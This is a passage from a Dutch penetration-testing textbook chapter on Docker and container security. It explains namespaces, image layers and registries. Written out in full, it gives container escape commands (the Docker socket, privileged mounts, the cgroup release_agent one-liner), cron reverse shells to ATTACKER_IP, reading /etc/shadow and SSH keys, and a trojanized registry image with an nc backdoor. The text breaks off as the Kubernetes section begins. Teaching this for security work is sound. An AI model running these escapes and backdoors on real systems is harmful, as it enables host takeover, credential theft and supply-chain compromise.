Container Security

Waarin we ontdekken dat het opsluiten van applicaties in dozen niet helpt als de doos van karton is, de bewaker slaapt, en iemand de sleutel onder de mat heeft gelegd.


6.1 Containers vanuit aanvalsperspectief

De belofte en de werkelijkheid

Containers zouden alles oplossen. Isolatie. Reproduceerbaarheid. Schaalbaarheid. De pitch was verleidelijk: stop je applicatie in een container, en je hoeft je nooit meer zorgen te maken over “maar het werkt op mijn machine.” En eerlijk is eerlijk – voor development is die belofte grotendeels waargemaakt. Voor security? Dat is een ander verhaal.

Het fundamentele probleem met containers is dat ze geen virtual machines zijn, maar vaak wel zo worden behandeld. Een virtual machine heeft een eigen kernel, eigen geheugen, eigen alles. Een container deelt de kernel met de host. Dat is het hele punt – het is wat containers zo licht en snel maakt. Maar het is ook wat ze fundamenteel anders maakt vanuit beveiligingsperspectief. Als je uit een container ontsnapt, sta je op de host. Er is geen hypervisor die je tegenhoudt. Er is geen tweede laag. Je bent er.

Stel je een flatgebouw voor. Virtual machines zijn appartementen met eigen muren, vloeren en plafonds – betonnen scheidingen die je niet kunt horen, laat staan bereiken. Containers zijn kamers in een gedeelde woonruimte, gescheiden door gipsplaatmuren. Je kunt er prima in wonen. Maar als iemand hard genoeg duwt, valt de muur om. En dan sta je in iemand anders’ kamer.

Docker architectuur

Docker is het de facto standaard containerplatform, al zijn er alternatieven zoals Podman, containerd en CRI-O. De architectuur is verrassend eenvoudig:

┌─────────────────────────────────────────────────┐
│                   Host OS                        │
│  ┌─────────────────────────────────────────────┐ │
│  │            Docker Daemon (dockerd)           │ │
│  │  ┌──────────┐ ┌──────────┐ ┌──────────┐    │ │
│  │  │Container │ │Container │ │Container │    │ │
│  │  │  App A   │ │  App B   │ │  App C   │    │ │
│  │  │ (PID ns) │ │ (PID ns) │ │ (PID ns) │    │ │
│  │  │ (Net ns) │ │ (Net ns) │ │ (Net ns) │    │ │
│  │  │ (Mnt ns) │ │ (Mnt ns) │ │ (Mnt ns) │    │ │
│  │  └──────────┘ └──────────┘ └──────────┘    │ │
│  │         Gedeelde Linux Kernel               │ │
│  └─────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────┘

De Docker daemon (dockerd) draait als root op de host en beheert containers, images, networks en volumes. Dit is meteen het eerste probleem: de daemon die alles beheert draait met de hoogste privileges. Wie toegang heeft tot de daemon, heeft de facto root op de host.

De Docker client (docker) communiceert met de daemon via een Unix socket (/var/run/docker.sock) of via TCP. Die Unix socket is het equivalent van de sleutel tot het koninkrijk – een thema dat in dit hoofdstuk herhaaldelijk terugkeert.

Namespaces zorgen voor isolatie. Linux namespaces geven elke container zijn eigen kijk op het systeem:

Namespace Wat het isoleert Kernel flag
PID Process IDs – container ziet alleen eigen processen CLONE_NEWPID
Network Netwerk interfaces, IP-adressen, routing CLONE_NEWNET
Mount Filesysteem mount points CLONE_NEWNS
UTS Hostname en domainname CLONE_NEWUTS
IPC Inter-process communication CLONE_NEWIPC
User User en group IDs CLONE_NEWUSER
Cgroup Cgroup root directory CLONE_NEWCGROUP

Cgroups (control groups) beperken hoeveel resources een container mag gebruiken – CPU, geheugen, disk I/O. Ze zijn meer een resource management-mechanisme dan een beveiligingsmaatregel, maar ze spelen een verrassende rol bij container escapes, zoals we later zullen zien.

Capabilities zijn Linux’s poging om root-privileges op te knippen in kleinere stukken. In plaats van alles-of-niets (root of niet-root) kun je specifieke capabilities toekennen. Docker dropt standaard een aantal gevaarlijke capabilities, maar laat er ook een paar staan die je liever niet zou zien:

# Standaard Docker capabilities (Docker 24+)
# TOEGESTAAN:
CAP_CHOWN, CAP_DAC_OVERRIDE, CAP_FSETID, CAP_FOWNER,
CAP_MKNOD, CAP_NET_RAW, CAP_SETGID, CAP_SETUID,
CAP_SETFCAP, CAP_SETPCAP, CAP_NET_BIND_SERVICE,
CAP_SYS_CHROOT, CAP_KILL, CAP_AUDIT_WRITE

# GEDROPPED (selectie van de gevaarlijkste):
CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE,
CAP_SYS_RAWIO, CAP_NET_ADMIN

CAP_NET_RAW is een interessante: het staat standaard aan en maakt het mogelijk om raw sockets te openen. Dat betekent ARP spoofing, ICMP flooding en packet sniffing vanuit een container. Niet ideaal.

Images en layers

Docker images zijn opgebouwd uit layers – elke instructie in een Dockerfile creert een nieuwe layer. Dit is efficient voor opslag en distributie, maar het creert een beveiligingsprobleem: elke layer wordt permanent opgeslagen. Als je in stap 3 van je Dockerfile een geheim bestand kopieert en in stap 4 weer verwijdert, bestaat het bestand nog steeds in layer 3. Verwijderen is een illusie.

# Voorbeeld: het "verwijderde" geheim
FROM ubuntu:22.04
COPY secret-config.env /app/config.env    # Layer 2: geheim bestaat
RUN rm /app/config.env                     # Layer 3: geheim is "weg"
# Spoiler: het geheim zit nog steeds in layer 2

Dit is niet een theoretisch probleem. Het is een probleem dat penetratiesters regelmatig tegenkomen. AWS-sleutels, database-wachtwoorden, API tokens – ze worden gekopieerd, gebruikt en “verwijderd”, maar ze leven voort in de image layers als geesten die weigeren te vertrekken.

Registries

Docker registries zijn opslagplaatsen voor images. Docker Hub is de grootste publieke registry, maar organisaties draaien vaak ook private registries (Harbor, GitLab Container Registry, AWS ECR, Azure ACR, Google Artifact Registry).

Het probleem met registries is tweeledig. Ten eerste: publieke registries bevatten images die door iedereen zijn geupload, en het kwaliteits- en beveiligingsniveau varieert van “professioneel onderhouden” tot “een student die zijn eerste Docker-experiment deelde in 2019 en het sindsdien niet heeft aangeraakt.” Ten tweede: private registries zijn niet altijd zo privaat als men denkt.

IB Tip: Veel private Docker registries draaien zonder authenticatie op interne netwerken. Een portscan op poort 5000 (standaard Docker Registry) en poort 443 (Harbor) is een goed startpunt. Unauthenticated registries zijn een goudmijn voor credential extraction.


6.2 Docker Enumeration

Herkennen dat je in een container zit

Het eerste wat je moet vaststellen na het verkrijgen van een shell: ben ik in een container? Dit klinkt als een existentiele vraag, en in zekere zin is het dat ook. De omgeving om je heen ziet eruit als Linux, ruikt als Linux, maar is het wel echt Linux? Of is het een kartonnen decor?

Er zijn meerdere indicatoren:

# Indicator 1: .dockerenv bestand
ls -la /.dockerenv
# Als dit bestand bestaat, zit je (vrijwel zeker) in een Docker container

# Indicator 2: cgroup informatie
cat /proc/1/cgroup
# In een container zie je regels als:
# 12:devices:/docker/a1b2c3d4e5f6...
# Het pad bevat "docker" of een container ID (64 hex chars)

# Indicator 3: cgroup2 (nieuwere kernels)
cat /proc/self/mountinfo | grep -i docker
cat /proc/self/mountinfo | grep -i kubepods

# Indicator 4: PID 1 is niet systemd/init
cat /proc/1/cmdline | tr '\0' ' '
# Op een normale host: /sbin/init of /lib/systemd/systemd
# In een container: je applicatie (nginx, python, node, etc.)

# Indicator 5: hostname is een container ID
hostname
# Vaak een afgekapte hex string: a1b2c3d4e5f6

# Indicator 6: beperkt aantal processen
ps aux
# Een container heeft typisch maar een paar processen

# Indicator 7: environment variables
env | grep -i kube
env | grep -i docker
env | grep -i container
# KUBERNETES_SERVICE_HOST duidt op een Kubernetes pod

# Indicator 8: mount points
mount | grep overlay
# Overlay filesysteem is typisch voor containers

# Indicator 9: netwerk interfaces
ip addr
# veth interfaces duiden op container networking

# Indicator 10: capabilities
cat /proc/1/status | grep -i cap
# Beperkte capabilities set duidt op container

IB Tip: Een snelle one-liner om te bepalen of je in een container zit: if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then echo "Container"; else echo "Host (waarschijnlijk)"; fi

Container escape indicators

Niet elke container is even goed beveiligd. Sommige configuraties zijn een uitnodiging om te ontsnappen. De volgende checks vertellen je of een escape mogelijk is:

# Check 1: Is de Docker socket gemount?
ls -la /var/run/docker.sock
# Als dit bestaat: JACKPOT. Volledige host-toegang mogelijk.

# Check 2: Draai je als privileged?
cat /proc/1/status | grep -i seccomp
# Seccomp: 0 = DISABLED (privileged container!)
# Seccomp: 2 = filter mode (normaal)

# Alternatief: probeer een mount
mount /dev/sda1 /mnt 2>/dev/null
# Als dit lukt: je bent privileged

# Check 3: SYS_ADMIN capability
cat /proc/1/status | grep CapEff
# Decodeer met: capsh --decode=<hex_waarde>
# Kijk of CAP_SYS_ADMIN (bit 21) aanwezig is

# Check 4: Kun je device nodes aanmaken?
mknod /tmp/test b 8 0 2>/dev/null && echo "VULNERABLE" && rm /tmp/test

# Check 5: Is /dev/sda (host disk) benaderbaar?
fdisk -l 2>/dev/null | grep /dev/sd

# Check 6: Host PID namespace gedeeld?
ls /proc/*/exe 2>/dev/null | wc -l
# Veel meer processen dan verwacht = host PID namespace

# Check 7: Host network namespace?
ip addr | grep -c eth
# Veel interfaces of het host-IP = host network

# Check 8: Sensitive host paths gemount?
mount | grep -E '/(etc|root|home|var/log)'
# Host directories gemount in container = data toegang

Een methodisch overzicht van de escape-indicatoren:

Indicator Check Impact
Docker socket mount /var/run/docker.sock bestaat Volledige host-controle
Privileged mode Seccomp disabled, alle capabilities Container escape triviaal
CAP_SYS_ADMIN In CapEff bitmask Cgroup escape mogelijk
CAP_SYS_PTRACE In CapEff bitmask Process injection op host
Host PID namespace --pid=host Host processen zichtbaar/injecteerbaar
Host network --network=host Host netwerk volledig toegankelijk
Host path mounts Gevoelige dirs gemount Directe file access
Writable hostPath / of /etc writable Host filesystem manipulatie

Geautomatiseerde enumeratie

Handmatige checks zijn leerzaam, maar in de praktijk wil je tooling:

# deepce - Docker Enumeration, Escalation of Privileges and Container Escapes
# https://github.com/stealthcopter/deepce
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh

# CDK - Container penetration toolkit
# https://github.com/cdk-team/CDK
./cdk evaluate

# amicontained - introspection tool
# https://github.com/genuinetools/amicontained
./amicontained

deepce is bijzonder handig omdat het niet alleen detecteert of je in een container zit, maar ook automatisch bekende escape-paden evalueert en rapporteert welke technieken waarschijnlijk werken.


6.3 Docker Escape technieken

De ultieme vraag

Als je in een container zit, is er precies een vraag die ertoe doet: kun je eruit?

Container escapes zijn het equivalent van de grote ontsnapping uit een gevangenis, met dit verschil dat de gevangenismuren in veel gevallen meer lijken op een suggestie dan op een fysieke barriere. De meeste escapes exploiteren geen kernel-kwetsbaarheden – ze exploiteren misconfiguraties. Iemand heeft ergens een vinkje gezet dat niet gezet had moeten worden, of een volume gemount dat niet gemount had moeten worden, en plotseling is je container net zo goed beveiligd als een open deur.

6.3.1 De Docker Socket: de sleutel die onder de mat lag

De meest voorkomende en meest verwoestende container escape. Als /var/run/docker.sock in de container is gemount, heb je volledige controle over de Docker daemon op de host. Het is alsof je in een gevangeniscel zit, maar de cipier heeft de sleutel van het hele gebouw in je cel laten liggen.

Waarom mounten mensen de Docker socket in een container? Meestal voor CI/CD: Jenkins, GitLab Runner en vergelijkbare tools moeten containers kunnen starten, en de “makkelijke” manier is de Docker socket doorvoeren. Gemak boven beveiliging – het eeuwige lied.

# Stap 1: Verifieer dat de socket beschikbaar is
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 Jan  1 00:00 /var/run/docker.sock

# Stap 2: Installeer of download de Docker client
# Optie A: als curl beschikbaar is
curl -fsSL https://download.docker.com/linux/static/stable/x86_64/docker-24.0.7.tgz \
    | tar xz --strip-components=1 -C /tmp/ docker/docker
export PATH=/tmp:$PATH

# Optie B: als de Docker client al in de container zit
which docker

# Stap 3: Controleer toegang tot de host daemon
docker ps
docker images

# Stap 4: Escape optie A - Mount het host-filesysteem
docker run -it --rm -v /:/host alpine chroot /host /bin/bash
# Je bent nu root op de host.

# Stap 4 alternatief: Escape optie B - Privileged container starten
docker run -it --rm --privileged --pid=host --net=host \
    -v /:/host alpine chroot /host /bin/bash

# Stap 4 alternatief: Escape optie C - nsenter via host PID
docker run -it --rm --privileged --pid=host alpine \
    nsenter -t 1 -m -u -i -n -p -- /bin/bash

Wat optie C doet verdient uitleg. nsenter betreedt de namespaces van een bestaand proces. -t 1 target PID 1 – het init-proces van de host. De flags -m -u -i -n -p betrekken alle namespaces (mount, UTS, IPC, network, PID). Het resultaat: een shell in de volledige context van de host.

# Als je geen Docker client hebt maar wel curl:
# Communiceer direct met de Docker API via de socket

# Lijst alle containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool

# Maak een nieuwe container met host filesystem mount
curl -s --unix-socket /var/run/docker.sock \
    -X POST http://localhost/containers/create \
    -H "Content-Type: application/json" \
    -d '{
        "Image": "alpine",
        "Cmd": ["/bin/sh", "-c", "cat /host/etc/shadow"],
        "Binds": ["/:/host"],
        "Privileged": true
    }'

# Start de container (vervang CONTAINER_ID)
curl -s --unix-socket /var/run/docker.sock \
    -X POST http://localhost/containers/CONTAINER_ID/start

# Lees de output
curl -s --unix-socket /var/run/docker.sock \
    http://localhost/containers/CONTAINER_ID/logs?stdout=true

IB Tip: Als je de Docker socket hebt maar geen client en geen curl, kijk of socat, wget, of zelfs python beschikbaar is. Python’s urllib kan communiceren met Unix sockets via de urllib3 library. Creativiteit is de penetratietester’s beste vriend.

6.3.2 Privileged containers: de gouden kooi zonder tralies

Een container die is gestart met --privileged heeft alle Linux capabilities, toegang tot alle devices van de host, en een disabled seccomp profiel. Het is een container in naam, maar in de praktijk is het root op de host met een iets ander filesysteem.

# Escape via mount van het host-filesysteem
# Stap 1: Vind het host filesystem device
fdisk -l 2>/dev/null
# /dev/sda1: Linux filesystem

# Of via /proc
cat /proc/partitions
# major minor  #blocks  name
#    8        0  41943040 sda
#    8        1  41942016 sda1

# Stap 2: Mount het host filesysteem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Stap 3: Lees gevoelige bestanden
cat /mnt/host/etc/shadow
cat /mnt/host/root/.ssh/id_rsa
cat /mnt/host/root/.bash_history
ls -la /mnt/host/root/

# Stap 4: Schrijf een SSH-sleutel voor permanente toegang
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA...jouw_publieke_sleutel..." >> /mnt/host/root/.ssh/authorized_keys
chmod 600 /mnt/host/root/.ssh/authorized_keys

# Stap 5: Plant een cronjob voor een reverse shell
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
    >> /mnt/host/etc/crontab

6.3.3 CAP_SYS_ADMIN en de cgroups release_agent escape

Dit is de meest elegante container escape. Als je container CAP_SYS_ADMIN heeft (wat het geval is bij --privileged, maar soms ook expliciet is toegekend), kun je de cgroups release_agent misbruiken om code uit te voeren op de host.

De achtergrond: cgroups hebben een mechanisme genaamd release_agent – een programma dat wordt uitgevoerd wanneer de laatste taak in een cgroup eindigt. Dit programma wordt uitgevoerd door de host kernel, niet door de container. Als je kunt schrijven naar de release_agent van een cgroup, kun je willekeurige commando’s uitvoeren op de host.

# Cgroup release_agent escape (cgroups v1)
# Stap 1: Mount een cgroup controller
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
mount -t cgroup -o memory cgroup /tmp/cgrp

# Stap 2: Maak een child cgroup aan
mkdir /tmp/cgrp/exploit

# Stap 3: Schakel notificatie in (zodat release_agent wordt getriggerd)
echo 1 > /tmp/cgrp/exploit/notify_on_release

# Stap 4: Vind het pad van de container in het host-filesysteem
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
# Of:
host_path=$(cat /proc/self/mountinfo | grep "workdir" | awk '{print $4}' | head -1)

# Stap 5: Stel de release_agent in op een script op de host
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Stap 6: Schrijf het commando dat op de host moet draaien
cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output
# Of een reverse shell:
# bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
EOF
chmod +x /cmd

# Stap 7: Trigger de release_agent door een proces in de cgroup te starten en te stoppen
sh -c "echo \$\$ > /tmp/cgrp/exploit/cgroup.procs && sleep 0"

# Stap 8: Lees de output
cat /output

Dit werkt omdat de kernel de release_agent uitvoert in de host-context, niet in de container-context. De kernel maakt geen onderscheid – het voert simpelweg het script uit dat geconfigureerd staat. Het is een feature, geen bug. Althans, dat is wat de kernel-ontwikkelaars zeggen. De penetratiesters in de zaal knikken beleefd en openen hun terminal.

# One-liner variant (handig voor snelle exploitatie):
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo $t/c > $d/release_agent
printf '#!/bin/sh\nid > '$t'/o' > /c
chmod +x /c
sh -c "echo 0 > $d/w/cgroup.procs"
sleep 1
cat /o

6.3.4 nsenter: door de achterdeur

Als de container is gestart met --pid=host (de container deelt de PID namespace met de host), kun je nsenter gebruiken om de namespaces van het host init-proces te betreden:

# Check of je host PID namespace hebt
ls /proc/*/cmdline 2>/dev/null | head -20
# Als je systemd, sshd, etc. ziet: host PID namespace

# nsenter naar de host
nsenter -t 1 -m -u -i -n -p -- /bin/bash
# -t 1     = target PID 1 (host init)
# -m       = mount namespace
# -u       = UTS namespace (hostname)
# -i       = IPC namespace
# -n       = network namespace
# -p       = PID namespace
# Je hebt nu een volledige host shell

6.3.5 Process injection via /proc

Als --pid=host is ingeschakeld en je CAP_SYS_PTRACE hebt, kun je processen op de host injecteren:

# Vind een host-proces (bijv. een root-owned proces)
ps aux | grep -v grep | grep root

# Gebruik een tool als nsenter of schrijf naar /proc/<PID>/mem
# Dit is complex maar krachtig - injecting shellcode in een bestaand host-proces

# Eenvoudiger: misbruik /proc/<PID>/root voor filesystem access
ls -la /proc/1/root/etc/shadow
cat /proc/1/root/etc/shadow

6.3.6 Kernel exploits

Als geen van de bovenstaande misconfiguraties aanwezig is, rest de nucleaire optie: een kernel exploit. Omdat de container de kernel deelt met de host, compromitteert een kernel exploit de host.

# Controleer de kernel versie
uname -r

# Bekende container-relevante kernel exploits:
# CVE-2022-0847 (Dirty Pipe) - Linux 5.8+
# CVE-2022-0185 - file system context exploits
# CVE-2021-22555 - Netfilter heap OOB write
# CVE-2020-14386 - AF_PACKET privilege escalation
# CVE-2019-5736 - runc container escape (niet kernel, maar runtime)

# Voorbeeld: CVE-2019-5736 (runc overwrite)
# Deze exploit overschrijft de runc binary op de host
# via /proc/self/exe manipulatie
# Werkt op runc < 1.0.0-rc6

CVE-2019-5736 verdient speciale vermelding. Het is geen kernel exploit maar een container runtime exploit die het mogelijk maakt om de runc binary op de host te overschrijven. Wanneer een beheerder vervolgens docker exec uitvoert, wordt de gemanipuleerde binary uitgevoerd met root-privileges op de host. Het is diabolisch elegant.

Escape-overzicht

Techniek Vereiste Complexiteit MITRE ATT&CK
Docker socket Socket gemount Laag T1611
Privileged + mount --privileged Laag T1611
Cgroup release_agent CAP_SYS_ADMIN Middel T1611
nsenter --pid=host Laag T1611
Process injection --pid=host + CAP_SYS_PTRACE Hoog T1055.008
Kernel exploit Kwetsbare kernel Hoog T1068
runc exploit (CVE-2019-5736) Kwetsbare runc Middel T1611

6.4 Image Security

Trojanized images: het paard van Troje in YAML

De ironie van container images is prachtig. We stoppen applicaties in containers voor “veiligheid” en “isolatie”, en vervolgens downloaden we die containers van het internet, van een willekeurige registry, gemaakt door een willekeurig persoon, en draaien ze met root-privileges. Het is alsof je je voordeur op slot doet en vervolgens een pakketje van een onbekende afzender opentrekt in je woonkamer.

Het probleem is niet theoretisch. Docker Hub heeft herhaaldelijk images gehost die cryptominers bevatten, backdoors installeren of credentials stelen. De official images (die met het blauwe vinkje) zijn over het algemeen betrouwbaar. Alles daaronder? Vertrouw maar verifieer. Of beter nog: vertrouw niet en verifieer alsnog.

Dockerfile analysis

De Dockerfile is de blauwdruk van een image. Het lezen ervan vertelt je veel over de beveiliging:

# RODE VLAGGEN in een Dockerfile:

# 1. Draait als root (geen USER instructie)
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y nginx
# Geen USER instructie = container draait als root

# 2. Secrets in environment variables
ENV DATABASE_PASSWORD=SuperSecret123!
ENV AWS_ACCESS_KEY_ID=AKIA...
ENV AWS_SECRET_ACCESS_KEY=wJal...

# 3. COPY van gevoelige bestanden
COPY .env /app/.env
COPY id_rsa /root/.ssh/id_rsa
COPY kubeconfig /root/.kube/config

# 4. Brede COPY die .git en andere gevoelige dirs meeneemt
COPY . /app/
# Kopieert ALLES, inclusief .git, .env, node_modules, etc.

# 5. Verouderde base image
FROM ubuntu:16.04
# End of life, geen security updates meer

# 6. curl | bash patroon
RUN curl -fsSL https://random-script.com/install.sh | bash
# Je voert willekeurige code van het internet uit als root. Briljant.

# 7. Onnodige packages
RUN apt-get install -y ssh telnet nmap netcat
# Waarom zitten er pentesting tools in je productie-image?

Een goed geschreven Dockerfile ziet er zo uit:

# Best practices voorbeeld
FROM python:3.12-slim AS builder
WORKDIR /build
COPY requirements.txt .
RUN pip install --no-cache-dir --user -r requirements.txt

FROM python:3.12-slim
RUN groupadd -r appuser && useradd -r -g appuser appuser
COPY --from=builder /root/.local /home/appuser/.local
COPY --chown=appuser:appuser app/ /app/
USER appuser
ENV PATH=/home/appuser/.local/bin:$PATH
EXPOSE 8080
HEALTHCHECK CMD curl -f http://localhost:8080/health || exit 1
ENTRYPOINT ["python", "/app/main.py"]

Secrets in layers: het verleden vergeet nooit

Het meest voorkomende probleem met Docker images is het lekken van secrets via layers. Zelfs als een secret wordt verwijderd in een latere layer, bestaat het nog steeds in de voorgaande layer.

# Docker history toont alle layers en hun commando's
docker history TARGET_IMAGE --no-trunc
# Kijk naar COPY en ENV instructies die secrets bevatten

# Voorbeeld output:
# IMAGE          CREATED BY                                      SIZE
# a1b2c3d4       /bin/sh -c rm /app/credentials.json             0B
# e5f6a7b8       /bin/sh -c #(nop) COPY file:abc123... /app/     1.2kB
# c9d0e1f2       /bin/sh -c pip install -r requirements.txt      45MB

# De "rm" in de eerste regel is zinloos - het bestand
# is nog steeds beschikbaar in layer e5f6a7b8
# dive - interactieve tool voor layer-analyse
# https://github.com/wagoodman/dive
dive TARGET_IMAGE

# Of handmatig layers extracten:
# Stap 1: Sla de image op als tar
docker save TARGET_IMAGE -o image.tar

# Stap 2: Pak de tar uit
mkdir image_layers && cd image_layers
tar xf ../image.tar

# Stap 3: Elke directory is een layer
# manifest.json vertelt je de volgorde
cat manifest.json | python3 -m json.tool

# Stap 4: Doorzoek elke layer op secrets
for layer in */layer.tar; do
    echo "=== $layer ==="
    tar tf "$layer" | grep -iE '(\.env|\.key|\.pem|password|secret|credential|token|kubeconfig)'
done

# Stap 5: Extract een specifiek bestand uit een layer
tar xf <layer_dir>/layer.tar ./app/credentials.json
cat ./app/credentials.json
# Geautomatiseerd secrets scannen met trufflehog
trufflehog docker --image TARGET_IMAGE

# Of met Syft + Grype voor vulnerability scanning
syft TARGET_IMAGE -o json | grype

Multi-stage build leaks

Multi-stage builds zijn ontworpen om kleinere en veiligere images te produceren. Maar ze worden vaak verkeerd gebruikt:

# FOUT: Secret in builder stage, maar builder stage is nog steeds pushbaar
FROM golang:1.21 AS builder
COPY . /app
# .env en andere secrets zitten nu in de builder stage
RUN go build -o /app/server

FROM alpine:3.18
COPY --from=builder /app/server /server
# Final stage is schoon, maar als iemand de builder stage pusht...

Het risico: als de builder stage als apart image wordt gepusht (wat sommige CI/CD pipelines doen voor caching), zijn alle secrets beschikbaar. Controleer altijd welke stages worden gepusht.

# Controleer of intermediate stages zijn gepusht
docker images | grep -i build
# Kijk in de registry voor onverwachte tags
curl -s https://REGISTRY/v2/APP/tags/list | python3 -m json.tool

6.5 Docker Registry Exploitation

Unauthenticated registries

Private Docker registries draaien vaak zonder authenticatie op interne netwerken. Dit is een van die dingen die je als penetratietester met een mengeling van ongeloof en dankbaarheid constateert. Een registry die alle container images van de organisatie bevat – met al hun secrets, configuraties en source code – open en bloot op het netwerk.

# Stap 1: Ontdek registries op het netwerk
nmap -p 5000,443,8443 -sV SUBNET/24 | grep -i registry

# Stap 2: Test of de registry unauthenticated is
curl -s https://REGISTRY:5000/v2/
# {} = unauthenticated access!
# 401 = authenticatie vereist (maar test ook anonymous)

# Stap 3: Lijst alle repositories
curl -s https://REGISTRY:5000/v2/_catalog
# {"repositories":["webapp","api","internal-tools","jenkins-agent"]}

# Stap 4: Lijst alle tags van een repository
curl -s https://REGISTRY:5000/v2/webapp/tags/list
# {"name":"webapp","tags":["latest","v2.1","dev","staging"]}

# Stap 5: Haal het manifest op (bevat layer digests)
curl -s https://REGISTRY:5000/v2/webapp/manifests/latest \
    -H "Accept: application/vnd.docker.distribution.manifest.v2+json"

# Stap 6: Download een specifieke layer (blob)
curl -s https://REGISTRY:5000/v2/webapp/blobs/sha256:ABC123... -o layer.tar.gz

# Stap 7: Analyseer de layer op secrets
tar xzf layer.tar.gz
grep -rn -iE '(password|secret|key|token|credential)' .
find . -name "*.env" -o -name "*.key" -o -name "*.pem" -o -name "kubeconfig"
# Geautomatiseerd met DockerRegistryGrabber
# https://github.com/Syzik/DockerRegistryGrabber
python3 drg.py https://REGISTRY:5000 --dump_all

# Of handmatig alle images dumpen:
for repo in $(curl -s https://REGISTRY:5000/v2/_catalog | python3 -c "import sys,json; [print(r) for r in json.load(sys.stdin)['repositories']]"); do
    echo "[*] Pulling $repo:latest"
    docker pull REGISTRY:5000/$repo:latest 2>/dev/null
done

Credential extraction uit manifests

Image manifests bevatten soms configuratie die credentials onthult:

# Haal de image configuratie op
curl -s https://REGISTRY:5000/v2/webapp/manifests/latest \
    -H "Accept: application/vnd.docker.distribution.manifest.v2+json" \
    | python3 -c "
import sys, json
manifest = json.load(sys.stdin)
config_digest = manifest['config']['digest']
print(config_digest)
"

# Download de config blob
curl -s https://REGISTRY:5000/v2/webapp/blobs/sha256:CONFIG_DIGEST \
    | python3 -m json.tool

# De config bevat:
# - Alle ENV variabelen (inclusief secrets!)
# - De volledige Dockerfile history
# - Labels en annotations
# - De user waaronder de container draait

Registry push: images vervangen

Als je schrijftoegang hebt tot de registry, kun je images vervangen met getrojaniseerde versies:

# Stap 1: Pull het originele image
docker pull REGISTRY:5000/webapp:latest

# Stap 2: Voeg een backdoor toe
cat > Dockerfile.backdoor << 'EOF'
FROM REGISTRY:5000/webapp:latest
RUN apt-get update && apt-get install -y netcat-openbsd
RUN echo "* * * * * root nc -e /bin/bash ATTACKER_IP 4444" >> /etc/crontab
EOF

docker build -f Dockerfile.backdoor -t REGISTRY:5000/webapp:latest .

# Stap 3: Push het getrojaniseerde image
docker push REGISTRY:5000/webapp:latest

# De volgende keer dat iemand het image pullt en draait,
# krijg je een reverse shell. Elke minuut. Voor altijd.

Dit is een supply chain-aanval in zijn puurste vorm. Geen zero-day nodig, geen exploit, alleen een registry die schrijfbaar is. De MITRE ATT&CK referentie is T1525 (Implant Internal Image).


6.6 Kubernetes Fundamenten

Van containers naar orkestatie

Docker is prima voor een enkel systeem met een handvol containers. Maar wat als je honderden containers hebt, verdeeld over tientallen servers, die automatisch moeten schalen, herstarten na een crash, en met elkaar moeten communiceren? Dan heb je een orkestratiesysteem nodig. En dat systeem is, in de overgrote meerderheid van de gevallen, Kubernetes.

Kubernetes – vaak afgekort als K8s, want developers vinden het blijkbaar onacceptabel om acht letters uit te typen – is een container-orkestratieplatform dat oorspronkelijk is ontwikkeld door Google. Het beheert de levenscyclus van containers op schaal, en het is complex. Ongelofelijk complex. Zo complex dat er een hele industrie is ontstaan van bedrijven die je helpen om Kubernetes te begrijpen, te configureren, te monitoren en te beveiligen. Het is complexiteit die complexiteit genereert, als een soort digitale voortplanting.

Maar voor een penetratietester is Kubernetes een paradijs. Een systeem met tientallen componenten, honderden configuratie-opties, en duizenden manieren om het verkeerd te doen. De aanvalsoppervlakte is enorm.

Kerncomponenten

┌──────────────────────────────────────────────────────────┐
│                     Control Plane                         │
│  ┌──────────┐ ┌───────────┐ ┌──────────┐ ┌───────────┐  │
│  │API Server│ │ Scheduler │ │Controller│ │   etcd    │  │
│  │ (6443)   │ │           │ │ Manager  │ │ (2379)    │  │
│  └────┬─────┘ └───────────┘ └──────────┘ └───────────┘  │
│       │                                                   │
├───────┼──────────────────────────────────────────────────┤
│       │              Worker Nodes                         │
│  ┌────┴─────────────────────────────────────────────┐    │
│  │  ┌────────┐  ┌────────────┐  ┌────────────────┐  │    │
│  │  │kubelet │  │kube-proxy  │  │Container       │  │    │
│  │  │(10250) │  │            │  │Runtime (CRI)   │  │    │
│  │  └────────┘  └────────────┘  └────────────────┘  │    │
│  │                                                   │    │
│  │  ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐            │    │
│  │  │Pod A │ │Pod B │ │Pod C │ │Pod D │            │    │
│  │  └──────┘ └──────┘ └──────┘ └──────┘            │    │
│  └───────────────────────────────────────────────────┘    │
└──────────────────────────────────────────────────────────┘

Pods zijn de kleinste deploybare eenheden. Een pod bevat een of meer containers die een netwerk namespace en opslag delen. In de praktijk draait er meestal een container per pod, maar sidecar patterns (waarbij een helper-container naast de main container draait) zijn gebruikelijk.

Services bieden een stabiel endpoint voor een set pods. Pods zijn efemeer – ze worden gecreeerd en vernietigd – maar een service biedt een vast IP-adres en DNS-naam. Typen services:

Type Bereik Gebruik
ClusterIP Alleen binnen het cluster Interne communicatie
NodePort Extern via node IP:poort Development/testing
LoadBalancer Extern via cloud LB Productie
ExternalName DNS CNAME Externe services mappen

Namespaces zijn logische scheidingen binnen een cluster. Standaard namespaces zijn default, kube-system (control plane componenten), kube-public en kube-node-lease. Organisaties gebruiken namespaces om teams, omgevingen of applicaties te scheiden. Maar let op: namespaces zijn geen beveiligingsgrens. Zonder Network Policies kan elke pod communiceren met elke andere pod, ongeacht namespace.

RBAC (Role-Based Access Control) beheert wie wat mag doen in het cluster. Het model:

